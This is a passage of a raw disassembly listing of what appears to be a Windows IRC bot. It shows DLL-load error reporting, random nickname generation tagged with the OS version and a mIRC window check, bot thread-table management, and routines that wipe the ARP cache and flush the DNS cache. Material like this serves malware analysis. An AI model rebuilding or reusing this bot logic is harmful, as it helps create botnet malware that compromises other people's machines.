; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 20h loc_40A9EB: ; CODE XREF: sub_40A7CF+1EEj cmp dword_4CB764, esi jz short loc_40AA1F push dword_4CB768 lea eax, [ebp+Dest] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 20h loc_40AA1F: ; CODE XREF: sub_40A7CF+222j cmp dword_4CB76C, esi jz short loc_40AA53 push dword_4CB770 lea eax, [ebp+Dest] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 20h loc_40AA53: ; CODE XREF: sub_40A7CF+256j cmp dword_4CB774, esi jz short loc_40AA87 push dword_4CB778 lea eax, [ebp+Dest] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 20h loc_40AA87: ; CODE XREF: sub_40A7CF+28Aj cmp dword_4CB77C, esi jz short loc_40AABB push dword_4CB780 lea eax, [ebp+Dest] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 20h loc_40AABB: ; CODE XREF: sub_40A7CF+2BEj lea eax, [ebp+Dest] push offset asc_42DA28 ; "-" push eax ; Dest call _sprintf cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40AAE8 push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 14h loc_40AAE8: ; CODE XREF: sub_40A7CF+302j lea eax, [ebp+Dest] push eax call sub_4151AD pop ecx pop edi pop esi pop ebx leave retn sub_40A7CF endp ; =============== S U B R O U T I N E ======================================= sub_40AAFA proc near ; CODE XREF: sub_4017ED+4Fp ; sub_401ACD+5C96p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CB694 ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_40AB22 push [esp+arg_0] call dword_4CB6D8 ; gethostbyname test eax, eax jnz short loc_40AB1B or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40AB1B: ; CODE XREF: sub_40AAFA+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40AB22: ; CODE XREF: sub_40AAFA+Dj retn sub_40AAFA endp ; =============== S U B R O U T I N E ======================================= sub_40AB23 proc near ; CODE XREF: sub_4017ED+D6p mov ecx, dword_4CB570 xor eax, eax test ecx, ecx jz short locret_40AB31 call ecx ; DnsFlushResolverCache locret_40AB31: ; CODE XREF: sub_40AB23+Aj retn sub_40AB23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB32 proc near ; CODE XREF: sub_401ACD:loc_403F5Ep Dest = byte ptr -88h Size = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+Size] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+Size], edi mov [ebp+var_4], ebx call dword_4CB6D0 ; GetIpNetTable mov ecx, eax sub ecx, edi jz loc_40ABF8 sub ecx, 32h jz loc_40ABF1 sub ecx, 48h jz short loc_40AB92 sub ecx, 6Eh jz short loc_40AB8B loc_40AB74: ; CODE XREF: sub_40AB32+8Bj push eax lea eax, [ebp+Dest] push offset asc_42DC3C ; "-" push eax ; Dest call _sprintf add esp, 0Ch jmp short loc_40ABD2 ; --------------------------------------------------------------------------- loc_40AB8B: ; CODE XREF: sub_40AB32+40j push offset unk_42DC18 jmp short loc_40ABC4 ; --------------------------------------------------------------------------- loc_40AB92: ; CODE XREF: sub_40AB32+3Bj push [ebp+Size] ; Size call _malloc push [ebp+Size] ; Size mov esi, eax push edi ; Val push esi ; Dst call _memset add esp, 10h cmp esi, edi jz short loc_40ABBF lea eax, [ebp+Size] push ebx push eax push esi call dword_4CB6D0 ; GetIpNetTable cmp eax, edi jz short loc_40ABF8 jmp short loc_40AB74 ; --------------------------------------------------------------------------- loc_40ABBF: ; CODE XREF: sub_40AB32+79j push offset asc_42DBE8 ; "-" loc_40ABC4: ; CODE XREF: sub_40AB32+5Ej ; sub_40AB32+C4j lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx loc_40ABD2: ; CODE XREF: sub_40AB32+57j lea eax, [ebp+Dest] mov [ebp+var_4], edi push eax call sub_4151AD pop ecx loc_40ABE2: ; CODE XREF: sub_40AB32+C8j ; sub_40AB32+DCj push esi call sub_41B0B1 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40ABF1: ; CODE XREF: sub_40AB32+32j push offset unk_42DBB8 jmp short loc_40ABC4 ; --------------------------------------------------------------------------- loc_40ABF8: ; CODE XREF: sub_40AB32+29j ; sub_40AB32+89j cmp [esi], edi jbe short loc_40ABE2 lea ebx, [esi+4] loc_40ABFF: ; CODE XREF: sub_40AB32+DAj push ebx call dword_4CB6CC ; DeleteIpNetEntry inc edi add ebx, 18h cmp edi, [esi] jb short loc_40ABFF jmp short loc_40ABE2 sub_40AB32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC10 proc near ; CODE XREF: sub_401ACD+2248p ; sub_401ACD+2399p ... Dst = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+Dst] push eax push [ebp+arg_0] call dword_4CB5F8 ; getsockname movzx eax, [ebp+var_D] push eax mov esi, offset byte_4CB784 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi ; Dest call _sprintf add esp, 18h mov eax, esi pop esi leave retn sub_40AC10 endp ; =============== S U B R O U T I N E ======================================= sub_40AC69 proc near ; CODE XREF: sub_412B09+24Cp ; sub_412B09+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AC92 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AC85: ; CODE XREF: sub_40AC69+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AC85 pop edi jmp short loc_40AC96 ; --------------------------------------------------------------------------- loc_40AC92: ; CODE XREF: sub_40AC69+Aj mov edx, [esp+4+arg_0] loc_40AC96: ; CODE XREF: sub_40AC69+27j test esi, esi pop esi jz short loc_40ACA0 movzx ecx, byte ptr [edx] add eax, ecx loc_40ACA0: ; CODE XREF: sub_40AC69+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AC69 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40ACB6(char *Dest) sub_40ACB6 proc near ; CODE XREF: sub_40B08E+49p ; DATA XREF: .data:off_42DC88o Dest = dword ptr 4 push esi push edi call ds:dword_4270A8 ; GetTickCount push eax call sub_41B8D8 pop ecx call _rand xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+8+Dest] push off_42DCF0[edx*4] push offset aS_6 ; "%s" push 1Ch ; Count push edi ; Dest call __snprintf xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD1E loc_40ACF8: ; CODE XREF: sub_40ACB6+66j call _rand push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch ; Count push edi ; Dest call __snprintf add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ACF8 loc_40AD1E: ; CODE XREF: sub_40ACB6+40j mov eax, edi pop edi pop esi retn sub_40ACB6 endp ; --------------------------------------------------------------------------- push esi push edi call ds:dword_4270A8 ; GetTickCount push eax call sub_41B8D8 mov edi, [esp+10h] mov dword ptr [esp], offset asc_42913C ; "-" push offset aS_6 ; "%s" push 1Ch push edi call __snprintf xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD7C loc_40AD56: ; CODE XREF: .text:0040AD7Aj call _rand push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call __snprintf add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AD56 loc_40AD7C: ; CODE XREF: .text:0040AD54j mov eax, edi pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40AD81 proc near ; CODE XREF: sub_401ACD+69CDp arg_0 = dword ptr 4 push ebx push esi push edi call ds:dword_4270A8 ; GetTickCount push eax call sub_41B8D8 pop ecx call _rand push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_429098 test esi, esi jle short loc_40ADC4 loc_40ADAE: ; CODE XREF: sub_40AD81+41j call _rand push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40ADAE loc_40ADC4: ; CODE XREF: sub_40AD81+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AD81 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h call ds:dword_4270A8 ; GetTickCount push eax call sub_41B8D8 pop ecx lea eax, [ebp-8] mov esi, offset byte_431948 push eax push esi call ds:dword_4270C0 ; GetComputerNameA movsx eax, byte_431948 push 41h pop ecx push 1 pop edx loc_40AE0A: ; CODE XREF: .text:0040AE15j cmp eax, ecx jnz short loc_40AE11 mov [ebp-4], edx loc_40AE11: ; CODE XREF: .text:0040AE0Cj inc ecx cmp ecx, 5Bh jl short loc_40AE0A push 61h pop ecx loc_40AE1A: ; CODE XREF: .text:0040AE25j cmp eax, ecx jnz short loc_40AE21 mov [ebp-4], edx loc_40AE21: ; CODE XREF: .text:0040AE1Cj inc ecx cmp ecx, 7Bh jl short loc_40AE1A mov edi, [ebp+8] push esi push 1Ch push edi call __snprintf xor esi, esi add esp, 0Ch cmp dword_429098, esi jle short loc_40AE66 loc_40AE40: ; CODE XREF: .text:0040AE64j call _rand push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call __snprintf add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AE40 loc_40AE66: ; CODE XREF: .text:0040AE3Ej mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call ds:dword_4270A8 ; GetTickCount push eax call sub_41B8D8 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call ds:dword_4270C4 ; GetLocaleInfoA mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_43194C push 1Ch push edi call __snprintf xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AEDB loc_40AEB5: ; CODE XREF: .text:0040AED9j call _rand push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call __snprintf add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AEB5 loc_40AEDB: ; CODE XREF: .text:0040AEB3j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_43D808 mov dword ptr [ebp-94h], 94h call ds:dword_4270C8 ; GetVersionExA call ds:dword_4270A8 ; GetTickCount push eax call sub_41B8D8 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AF65 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF45 cmp dword ptr [ebp-84h], 1 jnz short loc_40AF35 mov esi, offset a95 ; "95" loc_40AF35: ; CODE XREF: .text:0040AF2Ej cmp dword ptr [ebp-84h], 2 jnz short loc_40AFA1 mov esi, offset aNt_0 ; "NT" jmp short loc_40AFA1 ; --------------------------------------------------------------------------- loc_40AF45: ; CODE XREF: .text:0040AF25j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AF55 mov esi, offset a98 ; "98" jmp short loc_40AFA1 ; --------------------------------------------------------------------------- loc_40AF55: ; CODE XREF: .text:0040AF4Cj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AF9C mov esi, offset aMe_0 ; "ME" jmp short loc_40AFA1 ; --------------------------------------------------------------------------- loc_40AF65: ; CODE XREF: .text:0040AF1Cj cmp dword ptr [ebp-90h], 5 jnz short loc_40AF9C cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF7E mov esi, offset a2k ; "2K" jmp short loc_40AFA1 ; --------------------------------------------------------------------------- loc_40AF7E: ; CODE XREF: .text:0040AF75j cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AF8E mov esi, offset aXp ; "XP" jmp short loc_40AFA1 ; --------------------------------------------------------------------------- loc_40AF8E: ; CODE XREF: .text:0040AF85j cmp dword ptr [ebp-8Ch], 2 mov esi, offset a2k3 ; "2K3" jz short loc_40AFA1 loc_40AF9C: ; CODE XREF: .text:0040AF5Cj ; .text:0040AF6Cj mov esi, offset a??? ; "???" loc_40AFA1: ; CODE XREF: .text:0040AF3Cj ; .text:0040AF43j ... mov edi, [ebp+8] push esi push offset aS_0 ; "[%s]|" push 1Ch push edi call __snprintf xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AFE5 loc_40AFBF: ; CODE XREF: .text:0040AFE3j call _rand push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call __snprintf add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AFBF loc_40AFE5: ; CODE XREF: .text:0040AFBDj mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40AFEB(char *Dest) sub_40AFEB proc near ; CODE XREF: sub_40B08E+5Cp Source = byte ptr -1Ch Dest = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call ds:dword_4270A8 ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_40B03A call dword_4CB660 ; FindWindowA test eax, eax mov eax, offset aM ; "[M]" jnz short loc_40B023 mov eax, offset byte_43D808 loc_40B023: ; CODE XREF: sub_40AFEB+31j push eax push esi push offset aDS ; "[%d]%s" lea eax, [ebp+Source] push 1Ch ; Count push eax ; Dest call __snprintf add esp, 14h jmp short loc_40B05A ; --------------------------------------------------------------------------- loc_40B03A: ; CODE XREF: sub_40AFEB+22j call dword_4CB660 ; FindWindowA test eax, eax mov eax, offset aM ; "[M]" jnz short loc_40B04E mov eax, offset byte_43D808 loc_40B04E: ; CODE XREF: sub_40AFEB+5Cj push eax ; Format lea eax, [ebp+Source] push eax ; Dest call _sprintf pop ecx pop ecx loc_40B05A: ; CODE XREF: sub_40AFEB+4Dj lea eax, [ebp+Source] push eax ; Str call _strlen pop ecx cmp eax, 2 pop esi jbe short loc_40B089 push 1Ch ; Count lea eax, [ebp+Source] push [ebp+Dest] ; Source push eax ; Dest call _strncat lea eax, [ebp+Source] push 1Ch ; Count push eax ; Source push [ebp+Dest] ; Dest call _strncpy add esp, 18h loc_40B089: ; CODE XREF: sub_40AFEB+7Dj mov eax, [ebp+Dest] leave retn sub_40AFEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B08E(char *Dest,int,int,char *Str1) sub_40B08E proc near ; CODE XREF: sub_4017ED+7Fp ; sub_401955+50p ... Dest = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h Str1 = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42DC84 loc_40B09A: ; CODE XREF: sub_40B08E+3Fj cmp [ebp+Str1], 0 jz short loc_40B0B5 lea eax, [esi-0Ch] push eax ; Str2 push [ebp+Str1] ; Str1 call _strcmp neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B0BF ; --------------------------------------------------------------------------- loc_40B0B5: ; CODE XREF: sub_40B08E+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40B0BF: ; CODE XREF: sub_40B08E+25j test eax, eax jnz short loc_40B0D1 add esi, 14h inc edi cmp esi, offset off_42DCFC jb short loc_40B09A jmp short loc_40B0DF ; --------------------------------------------------------------------------- loc_40B0D1: ; CODE XREF: sub_40B08E+33j push [ebp+Dest] ; Dest lea eax, [edi+edi*4] call off_42DC88[eax*4] pop ecx loc_40B0DF: ; CODE XREF: sub_40B08E+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40B0F2 push [ebp+Dest] ; Dest call sub_40AFEB pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40B0F2: ; CODE XREF: sub_40B08E+57j mov eax, [ebp+Dest] pop ebp retn sub_40B08E endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40B0F7(char *Source,int,int) sub_40B0F7 proc near ; CODE XREF: WinMain(x,x,x,x)+378p ; WinMain(x,x,x,x)+3B7p ... Source = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43E390 loc_40B0FF: ; CODE XREF: sub_40B0F7+18j cmp byte ptr [eax], 0 jz short loc_40B113 add eax, 234h inc edi cmp eax, offset dword_4CB390 jl short loc_40B0FF jmp short loc_40B15E ; --------------------------------------------------------------------------- loc_40B113: ; CODE XREF: sub_40B0F7+Bj push esi mov esi, edi imul esi, 234h push 1FFh ; Count push [esp+0Ch+Source] ; Source lea eax, dword_43E390[esi] push eax ; Dest call _strncpy mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43E590[esi], eax and dword_43E594[esi], 0 mov eax, [esp+8+arg_8] and dword_43E598[esi], 0 mov dword_43E59C[esi], eax and byte_43E5A8[esi], 0 pop esi loc_40B15E: ; CODE XREF: sub_40B0F7+1Aj mov eax, edi pop edi retn sub_40B0F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B162 proc near ; DATA XREF: sub_401ACD+298Ao var_98 = dword ptr -98h Str = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd push [ebp+var_10] ; int mov dword ptr [eax+94h], 1 lea eax, [ebp+Str] push [ebp+var_C] ; int push eax ; Str push [ebp+var_98] ; int call sub_40B1B4 push [ebp+var_14] call sub_40B413 add esp, 14h push 0 call ds:dword_4270CC ; ExitThread pop edi pop esi sub_40B162 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B1B4(int,char *Str,int,int) sub_40B1B4 proc near ; CODE XREF: sub_40B162+38p Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 ; int push [ebp+arg_8] ; int push offset dword_431A80 ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 14h xor edi, edi mov esi, offset dword_43E390 loc_40B1DE: ; CODE XREF: sub_40B1B4+78j cmp byte ptr [esi], 0 jz short loc_40B21F cmp [ebp+arg_C], 0 jnz short loc_40B1F2 cmp dword ptr [esi+204h], 0 jnz short loc_40B21F loc_40B1F2: ; CODE XREF: sub_40B1B4+33j push esi push edi lea eax, [ebp+Dest] push offset aD_S ; "%d. %s" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 24h loc_40B21F: ; CODE XREF: sub_40B1B4+2Dj ; sub_40B1B4+3Cj add esi, 234h inc edi cmp esi, offset dword_4CB390 jl short loc_40B1DE pop edi pop esi leave retn sub_40B1B4 endp ; =============== S U B R O U T I N E ======================================= sub_40B232 proc near ; CODE XREF: sub_401ACD+7BA5p ; sub_40B2C0+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B2BA cmp esi, 400h jge short loc_40B2BA imul esi, 234h push edi push ebx push dword_43E5A4[esi] lea edi, dword_43E5A4[esi] call ds:dword_4270AC ; TerminateThread cmp [edi], ebx jz short loc_40B26A push 1 pop ebp loc_40B26A: ; CODE XREF: sub_40B232+33j mov [edi], ebx lea edi, dword_43E598[esi] mov dword_43E590[esi], ebx mov dword_43E594[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B28B push eax call sub_4199CA pop ecx loc_40B28B: ; CODE XREF: sub_40B232+50j mov [edi], ebx lea edi, dword_43E59C[esi] mov byte ptr dword_43E390[esi], bl mov byte_43E5A8[esi], bl push dword ptr [edi] call dword_4CB6EC ; closesocket lea esi, dword_43E5A0[esi] mov [edi], ebx push dword ptr [esi] call dword_4CB6EC ; closesocket mov [esi], ebx pop edi loc_40B2BA: ; CODE XREF: sub_40B232+Dj ; sub_40B232+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B232 endp ; =============== S U B R O U T I N E ======================================= sub_40B2C0 proc near ; CODE XREF: sub_40111D+18p ; WinMain(x,x,x,x):loc_4017D9p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43E390 loc_40B2CC: ; CODE XREF: sub_40B2C0+2Aj cmp byte ptr [esi], 0 jz short loc_40B2DD push edi call sub_40B232 test eax, eax pop ecx jz short loc_40B2DD inc ebx loc_40B2DD: ; CODE XREF: sub_40B2C0+Fj ; sub_40B2C0+1Aj add esi, 234h inc edi cmp esi, offset dword_4CB390 jl short loc_40B2CC pop edi mov eax, ebx pop esi pop ebx retn sub_40B2C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2F2 proc near ; CODE XREF: sub_401ACD+418Fp ; sub_401ACD+42E1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43E594 loc_40B306: ; CODE XREF: sub_40B2F2+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B328 test edi, edi jle short loc_40B31A cmp [esi], edi jz short loc_40B31A cmp ebx, edi jnz short loc_40B328 loc_40B31A: ; CODE XREF: sub_40B2F2+1Ej ; sub_40B2F2+22j push ebx call sub_40B232 test eax, eax pop ecx jz short loc_40B328 inc [ebp+var_4] loc_40B328: ; CODE XREF: sub_40B2F2+1Aj ; sub_40B2F2+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CB594 jl short loc_40B306 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B2F2 endp ; =============== S U B R O U T I N E ======================================= sub_40B33F proc near ; CODE XREF: WinMain(x,x,x,x)+40Fp ; sub_401ACD+97Ap ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43E590 loc_40B346: ; CODE XREF: sub_40B33F+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B34F inc eax loc_40B34F: ; CODE XREF: sub_40B33F+Dj add ecx, 234h cmp ecx, offset dword_4CB590 jl short loc_40B346 retn sub_40B33F endp ; =============== S U B R O U T I N E ======================================= sub_40B35E proc near ; CODE XREF: sub_401ACD+2434p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43E590 loc_40B368: ; CODE XREF: sub_40B35E+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B381 add ecx, 234h inc edx cmp ecx, offset dword_4CB590 jl short loc_40B368 pop esi retn ; --------------------------------------------------------------------------- loc_40B381: ; CODE XREF: sub_40B35E+10j mov eax, edx pop esi retn sub_40B35E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B385(int,int,int,int,int,int,int,char *Str) sub_40B385 proc near ; CODE XREF: sub_401ACD+1067p ; sub_401ACD+126Dp ... Dest = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h Str = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+Str], eax jz short loc_40B39E push [ebp+Str] ; Str call _atoi pop ecx loc_40B39E: ; CODE XREF: sub_40B385+Ej push eax push [ebp+arg_18] call sub_40B2F2 pop ecx test eax, eax pop ecx jle short loc_40B3CA push eax lea eax, [ebp+Dest] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax ; Dest call _sprintf add esp, 14h jmp short loc_40B3E4 ; --------------------------------------------------------------------------- loc_40B3CA: ; CODE XREF: sub_40B385+26j push [ebp+arg_14] lea eax, [ebp+Dest] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax ; Dest call _sprintf add esp, 10h loc_40B3E4: ; CODE XREF: sub_40B385+43j cmp [ebp+arg_C], 0 jnz short loc_40B404 push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 14h loc_40B404: ; CODE XREF: sub_40B385+63j lea eax, [ebp+Dest] push eax call sub_4151AD pop ecx leave retn sub_40B385 endp ; =============== S U B R O U T I N E ======================================= sub_40B413 proc near ; CODE XREF: sub_4017ED+159p ; sub_40B162+40p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43E5A4[eax], ecx mov dword_43E590[eax], ecx mov dword_43E594[eax], ecx mov dword_43E598[eax], ecx mov dword_43E59C[eax], ecx mov dword_43E5A0[eax], ecx mov byte ptr dword_43E390[eax], cl mov byte_43E5A8[eax], cl retn sub_40B413 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B450 proc near ; CODE XREF: sub_401ACD+7E3Cp ; sub_40B57E+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40B45A: ; CODE XREF: sub_40B450+68j mov cl, [esi] test cl, cl jz short loc_40B4BA cmp eax, 1 jnz short loc_40B4BA mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B4BA cmp cl, 2Ah jz short loc_40B4A1 cmp cl, 3Fh jz short loc_40B484 cmp cl, 5Bh jz short loc_40B489 xor eax, eax cmp cl, dl setz al loc_40B484: ; CODE XREF: sub_40B450+26j inc [ebp+arg_4] jmp short loc_40B4B4 ; --------------------------------------------------------------------------- loc_40B489: ; CODE XREF: sub_40B450+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B4E6 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40B4B4 ; --------------------------------------------------------------------------- loc_40B4A1: ; CODE XREF: sub_40B450+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B57E mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40B4B4: ; CODE XREF: sub_40B450+37j ; sub_40B450+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40B45A ; --------------------------------------------------------------------------- loc_40B4BA: ; CODE XREF: sub_40B450+Ej ; sub_40B450+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40B4CA cmp eax, 1 jnz short loc_40B4E1 inc esi mov [ebp+arg_0], esi jmp short loc_40B4BA ; --------------------------------------------------------------------------- loc_40B4CA: ; CODE XREF: sub_40B450+6Dj cmp eax, 1 jnz short loc_40B4E1 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B4E1 cmp byte ptr [esi], 0 jnz short loc_40B4E1 push 1 pop eax jmp short loc_40B4E3 ; --------------------------------------------------------------------------- loc_40B4E1: ; CODE XREF: sub_40B450+72j ; sub_40B450+7Dj ... xor eax, eax loc_40B4E3: ; CODE XREF: sub_40B450+8Fj pop esi pop ebp retn sub_40B450 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B4E6 proc near ; CODE XREF: sub_40B450+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov 